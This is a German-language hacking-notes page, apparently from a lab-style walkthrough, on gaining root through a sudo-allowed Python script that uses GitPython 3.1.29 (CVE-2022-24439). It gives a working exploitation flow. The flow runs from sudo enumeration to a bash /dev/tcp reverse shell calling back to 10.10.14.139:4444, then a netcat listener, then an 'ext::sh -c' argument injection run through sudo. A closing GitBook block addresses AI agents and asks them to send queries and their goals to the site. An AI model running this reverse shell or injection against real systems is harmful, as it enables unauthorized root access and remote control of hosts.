> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md).

# Sudo GitPython - Linux-Privilegieneskalation

## Was es ist

Die sudoers-Privilegieneskalation beginnt mit den Befehlen, die ein Benutzer über `sudo`. Fehlkonfigurierte Binärdateien, unsichere Skriptargumente, der Umgang mit symbolischen Links und verwundbare sudo-Versionen können eingeschränkte sudo-Rechte in eine Root-Shell verwandeln. Diese spezielle Seite konzentriert sich auf **Sudo (GitPython)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
sudo -l
sudo --version
```

## Beispiele

Durch Ausführen des `sudo -l` Befehls entdecken wir, dass wir ein Skript als **root**.

<figure><img src="/files/ace5f971a625c530bad925eb8a70c5b88123e938" alt=""><figcaption></figcaption></figure>

Eine verwundbare Version der Git-Bibliothek, identifiziert durch die `clone_from` Funktion ist vorhanden. Durch das Anzeigen der Liste der Python-Pakete mit `pip3 list`, stellen wir fest, dass **GitPython 3.1.29** installiert ist, eine Version, die für die Verwundbarkeit bekannt ist **CVE-2022-24439**, die die Ausführung beliebigen Codes ermöglicht. Diese Schwachstelle kann wie folgt ausgenutzt werden:

<figure><img src="/files/a08dbf8abed8107be4db1e2a2f2d9af843d8b3a4" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Wir werden im temporären Verzeichnis ein Exploit-Skript erstellen, um eine Reverse-Shell zu erhalten:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/81b07acf155e05e6b41cb2b0d5375b7c8752a9a8" alt=""><figcaption></figcaption></figure></div>

Dann lauschen wir auf unserem Rechner auf Port 4444 mit **netcat**

<figure><img src="/files/70b6f3651bc76144865c15ad2fc8dbfa723dd85e" alt="" width="502"><figcaption></figcaption></figure>

Schließlich führen wir das Binary mit **sudo**, wobei wir unsere Payload hinzufügen:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
